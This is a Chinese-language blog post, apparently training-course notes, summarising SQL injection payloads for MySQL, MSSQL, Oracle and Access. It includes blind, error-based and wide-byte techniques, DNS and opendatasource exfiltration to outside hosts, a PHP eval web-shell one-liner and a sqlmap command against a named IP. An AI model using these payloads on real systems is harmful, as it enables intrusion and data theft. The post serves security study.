SQL注入总结

 一、本质

原理:用户输入数据被当做SQL代码执行。

条件:用户能控制输入;原本程序要执行的代码拼接了用户数据然后执行。

判断:

1、and 1=1 页面正常
     and  1=2 页面不正常
     ps:and 1=1,and 1=2被拦截的可能性高,可以尝试and -1=-1,and -1=-2,and 1>0,or 1=1,或者直接or sleep(5)
 

2、页面后面加 ' ,看是否报错

3、数字型传参尝试-1
    id=1和id=2-1都显示id=1的页面
    这里不限于2-1,可以使用任意符号

ps:所有写在URL栏中的东西会经过URL编码,会把空格编码为+。所以运算判断中,“+”号用不了。

二、显错注入基本流程

1、是否存在注入点

and 1=1,and1=2;符号传参;页面添加'

2、猜字段数

MYSQL中使用:order by 1,order by 2,order by 3,······直到页面无法显示正常

MSSQL中:和MYSQL一样的方法

ORACLE中:和MYSQL中一样的方法

ACCESS中:和MYSQL一样的方法

3、查找输出点

database()可以查询当前数据库名

MYSQL中:and 1=2 union select 1,2,3,有几个字段就写到几

MSSQL中:and 1=2 union select all null,null,null from 存在的表名,再把填充的每个null去猜类型

ORACLE中:and 1=2 union select null,null,null from dual/存在的表名,再把每个null猜类型,看能否返回正常。

ACCESS中:and 1=2 union select 1,2,3 from 表名

4、系统自带库查找表名、字段名

1、MYSQL

Mysql5.0以上版本加入了 information_schema 这个系统自带库 其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等

information_schema.tables 存放表名和库名的对应        

information_schema.columns 存放字段名和表名的对应

union select table_name from information_schema.tables where table_schema=database()   查询表名

union select column_name from information_schema_columns where table_name='表名' and table_schema=database()   查询字段名

2、ORACLE

Oracle中没有库这个定义,而是只有用户概念。

select * from all_tables   查询出所有表

select * from user_tables   查询当前用户的表

select * from all_tab_columns  查询出所有字段

select * from user tab_columns   查询当前用户字段

3、MSSQL中

联合查询要写union all select

sysobjects 查询系统表 (xtype='U')

syscolumns 字段  (id= ) 指定sysobjects库中表名对应id

5、查询需要的字段的值

union select 字段 from 表名

三、POST注入

高危点:登录框、查询框等各种和数据库有交互的框

原理:在数据提交处,提交sql语句,使系统进行查询返回相应信息

万能密码:' or 1=1 -- qwe

与显错注入类似,只是需要在提交的数据中注入,在1=1和-- qwe中间输入注入命令

POST注入还可以使用sqlmap

1、-- form

2、-r 1.txt,这是利用Burp抓包后的数据包,在指定参数后添加 *

ps:POST传参一般不进行url编码,但GET传参会。

四、HEAD注入

原理:利用php的全局变量$_server获取用户的相关信息且将数据存入数据库,利用updatexml函数输入sql语句,返回信息。

PHP中的超全局变量可以进行HEAD注入,当页面存在这些传参时,可以使用HEAD注入。此处配合报错注入。

可以在ModHeader插件中注入,也可以使用Burp抓包改变量参数的方式注入。

$_REQUEST    获取GET/POST

$_POST      获取POST传参

$_GET      获取GET传参

$_COOKIE      获取GET传参

$_SERVER      包含头信息header,路径path,脚本位置script locations等信息数组

X-Forwarded-For

五、报错注入

1、主要函数

(1)upadtexml()   更新xml文档的函数

updatexml(目标xml内容,xml文档路径,更新的内容)

(2)concat()     把两个语句拼接

2、语句

eg:updatexml(1,concat(0x7e,(select database()),0x7e),1)

0x7e是为了让数据库报错的符号“~”,有了这个拼接的特殊符号才会报错。十六进制是0x7e,除此之外还有“!”

 

updatexml()这个函数一般配合and 或者 or执行

eg:select * from news where id=1 andupdatexml(1,concat(0x7e,(select database()),0x7e),1)

and情况下只要有一个为false,就会判定是false,所以如果and签名条件不成立的情况下,就不会执行之后的语句,所以使用的时候建议用or。

某些没有回显的盲注也可以使用updatexml()。

六、盲注

盲注对应显错注入,当web服务器关闭了错误回显,这个时候使用盲注。所谓盲注就是在服务器没有错误回显的时候完成的注入。

方法:首先用substr截取字符串,每次截取一个,用ascii()函数转化为ascii码,进行判断,如果不符合,返回页面错误,最后根据得到的ascii码来判断它的值。

1、主要函数

(1)enth()   返回字符串长度

eg:select length(database());

(2)substr()  截取字符串长度   substr(str,position,length)

eg:select substr('abcd',1,1) 从第1个字符,截取1个

(3)ascii()   返回字符的ascii码

eg:select ascii(substr(databases,1,1)) < 128;

(4)sleep()   将程序挂起n秒

eg:select XXX and 1=2 or sleep(5)

(5)if(expr 1,expr 2,expr 3)  判断语句,如果第一个语句正确就执行第二个语句,如果错误就执行第三个

eg:select if(length(database())>5,sleep(2),1);

2、布尔盲注

只会根据注入信息返回Ture或False,没有报错信息。

原理:根据返回页面的正确与否,通过判断对应字符的ascii码值是否对应,来判断字符串具体的数值。可以配合Burp爆破。

eg:

and  (ascii(substr(database(),1,1)))=115 -- qwe   如果返回正常说明数据库名称第一位是s

and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101  -- qwe     如果返回正常,说明数据库表名第一个的第一位是e

and(ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1)))=102 -- qwe    如果返回正常,说明表名中列名第一位是f

3、时间盲注

页面返回值只有一种,true,无论输入任何值,都会按照正常处理。加入特定时间函数,通过查看web页面返回是否延时来判断注入语句是否正常。

原理:通过时间延迟来判断是否存在注入

eg:

and if(ascii(substr(database(),1,1))>120,0,sleep(10))-- qwe  如果数据库名ascii码长度大于120,不执行语句,如果第一个条件不成立,则延时10秒钟。

七、宽字节注入

程序员在编写php代码时使用了魔术引号,当php请求发送到mysql中经过了一次gbk编码,php会把获取到的数据进行魔术引号处理。使得输入的单引号、双引号、反斜杠符号被转义成了字符串。

漏洞产生原因:PHP编码格式和数据库编码格式不同,特别是字符不同的编码

过滤原理:GBK是双字节编码,当提交%df这个字符和转义的反斜杠组成一个新的汉字,数据库处理根据GBK处理,单引号就可以被过滤。

绕过原理:已知我们提交的数据会被加入\,\的编码是%5c,则我们在后面加上%df后,变成%df%5c,使得成为一个繁体汉字運,绕过了单引号闭合。

除了使用%df,还可以使用汉字绕过,因为一个汉字传入,php接收时是utf-8编码,三字节(GBK是双字节),汉字和反斜杠配对可以组成两个汉字,使得单引号绕过闭合。

ps:当使用union select column_name from information_schema.columns where table_name='表名' and table_schema=database() 时,查询表名最好使用十六进制,因为使用单引号,单引号会被加上反斜杠,对查询产生影响。

也可以将'表名'替换成(select table_schema from information_schema.tables where table_schema=database() limit 0,1)的子查询绕过。

八、ACCESS注入——Cookie注入

1、简介

如果开发用$REQUEST[]来接收参数,但POST和GET传参被waf拦截,但也许waf没有对Cookie进行检测,可以尝试用Cookie传参,绕过waf。

1、Cookie:代表身份的一串字符串,由此网站来识别你是谁。

2、$_REQUEST[]:可以获取POST|GET|COOKIE传参。一般来说,都会对get或post传参进行拦截,这时候可以考虑对Cookie进行传参。Cookie的优先级比get、post高。

2、更改Cookie的方式

(1)浏览器:按F12,找到Application模块下的Cookies值,修改即可。

(2)Burp抓包修改:通过Burp拦截请求,Cookie就在HTTP请求中,修改即可。

(3)浏览器插件:设置Cookie,Cookie值。

(4)JS设置:在console控制台通过代码修改Cookie。
document.cookie :查看Cookie
document.cookie = "cookie_name=cookie_value" :修改Cookie
docuemtn.cookie = "id="+escape("171") // + 连接符,escape():URL编码函数

3、注意

(1)Cookie最好进行一次URL编码;

(2)设置Cookie能影响传参不代表一定存在Cookie注入;

(3)Cookie注入时要删除URL里的id传参

(4)access数据库不支持select 1,2,3这种语句,必须跟上from 表名

(5)access数据库里没有系统自带表,只能猜表名

(6)如果用Sqlmap直接跑Cookie注入,sqlmap.py -u "http://59.63.200.79:8004/shownews.asp" --cookie "id=171" --level 2

九、Access注入——偏移注入

1、使用场景:

  • 不知道表名、字段名:Access数据库中是无解,几乎是无法注入。
  • 知道表名,不知道字段名:有办法,用移位溢注。原理:库.表.字段    admin.* 代表admin表里所有的字段

注意:

  • 偏移注入是针对于联合查询注入的一种方法,最关键的一点是需要有回显。
  • 偏移注入必须要知道表名(Burp爆破),而且注入点字段数要大于想要查询的字段数,在不知道字段名的情况下获取数据

2、偏移注入步骤

十、MYSQL注入——DNS注入

1、使用场景

某些无法直接获得漏洞回显的情况下,但是目标可以发起请求,这时可以通过DNS请求把想获得的数据外带出来

原理:通过select子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录。此时变为显错注入,将盲注变显错注入。读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。

2、DNSLOG函数解析

1、LOAD_FILE()   读取文件函数

文件必须在服务器主机上;指定文件完整路径;文件可读但内容必须小于max_allowed_packet规定大小;文件存在,且可读取。如以上条件不满足一个,则返回null。

在注入中,利用读取注入的报错信息,返回报错信息。

需要在mysql配置文件添加一句secure_file_priv=

2、UNC路径

通用命名规则。//域名/文件夹

eg: //a.1806dl.dnslog.cn/abc      访问1806dl.dnslog.cn下的abc共享文件夹

3、利用函数

select LOAD_FILE(concat('//',select database(),'.1806dl.dnslog.cn/abc'))

数据库访问1806dl.dnslog.cn的服务器下的共享文件夹abc,然后1806dl.dnslog.cn的子域名解析都是在某台服务器,记录下有人请求访问,然后在dnslog平台显示出来。子查询出来的结果会被显示在dns服务器记录中。

3、SQL注入直接拿服务器

  • load_file()  读取文件
  • into dumpfile  写文件
  • into outfile   写文件(写入绝对路径)

select 1 into outfile 'F:/PHP/AAA/WWW/1.txt';

select 1 into outfile 'F:\\PHP\\AAA\\WWW\\1.txt';

一句话木马<?php eval($_REQUEST[8]) ?>    eval代码执行,传参会被当做代码执行

十一、MSSQL——反弹注入

1、使用场景

明明是SQL注入点却无法进行注入,注射工具猜解速度异常缓慢,错误提示信息关闭,无法返回注射结果等。

注意:MSSQL数据库的规范,要使用反弹注入,反弹注入的数据表和被注入页面的数据表也应该是相同字段。

2、函数解析

(1)opendatasource(provider_name,init_string)

provider_name参数 MsSQL数据库常写sqloledb,类似接口名称的意思
init_string参数 写连接地址、端口、用户名、密码、数据库名
server=连接地址,端口
uid=用户名
pwd=密码
database=数据库名称

eg:

insert into opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkap_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin -- qwe

把select * from admin 的结果插入目标的temp表

server后是插入地址,地址使用在香港云申请的连接地址和用户名,密码

sqloledb是构成通道的固定值,不更改

server后是数据库地址

uid后是数据库用户名

passwd是密码

database是数据库名称

DB_14A5E44_zkaq.dbo.temp是查询数据库dbo(用户创建)里的temp表

注意:这里用到了堆叠注入(用;结束前一个语句,并执行下一个语句)

3、MSSQL显错注入

(1)通过系统自带库查询数据库名

select name from dbo.sysdatabases

(2)通过系统自带库查询表名(查询用户建立的数据表)

select name,id from dbo.sysobjects where xtype=’U’

(3)通过系统自带库查询字段名(查询表的时候记录需要表的id值)

select name,id from dbo.syscolumns where id=245575913

(4)查询当前库名

select db_name()

十二、Oracle——报错注入

1、Oracle数据库自带表

Oracle强化用户概念,用户约等于库,创建的数据表会存在每个用户下面。且select  字段 from表的结构严格,所以可以使用dual表来满足查询语句的结构。

查询所有表:select * from all_tables

查询当前用户表:select * from user_tables

查询所有字段: select * from all_tab_columns

查询当前用户字段 select * from user_tab_columns

页面只能返回第一条数据:

  • select * from user_tab_columns where table_name <>'TABLE_NAME' and table_name <> 'COLUMN_NAME'
  • select * from user_tab_columns where rownum=1 |rownum<4

查询指定数据:select * from (select rownum no,table_name from user_tab_columns) where no =1

注意:rownum会自增编译序号,是个临时表。

2、报错注入

CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))

  去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)

报错注入查询表名

and 1=CTXSYS.DRITHSX.SN(user,(select table_name from (select rownum ro,table_name from user_tables) where ro=3))

报错注入查询字段名

and 1=CTXSYS.DRITHSX.SN(user,(select column_name from (select rownum ro,column_name from user_tab_columns) where ro=1))

报错注入查询出字段内容,得到flag

and 1=CTXSYS.DRITHSX.SN(user,(select UPASS from (select rownum ro, UPASS from ADMIN )where ro=1))

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值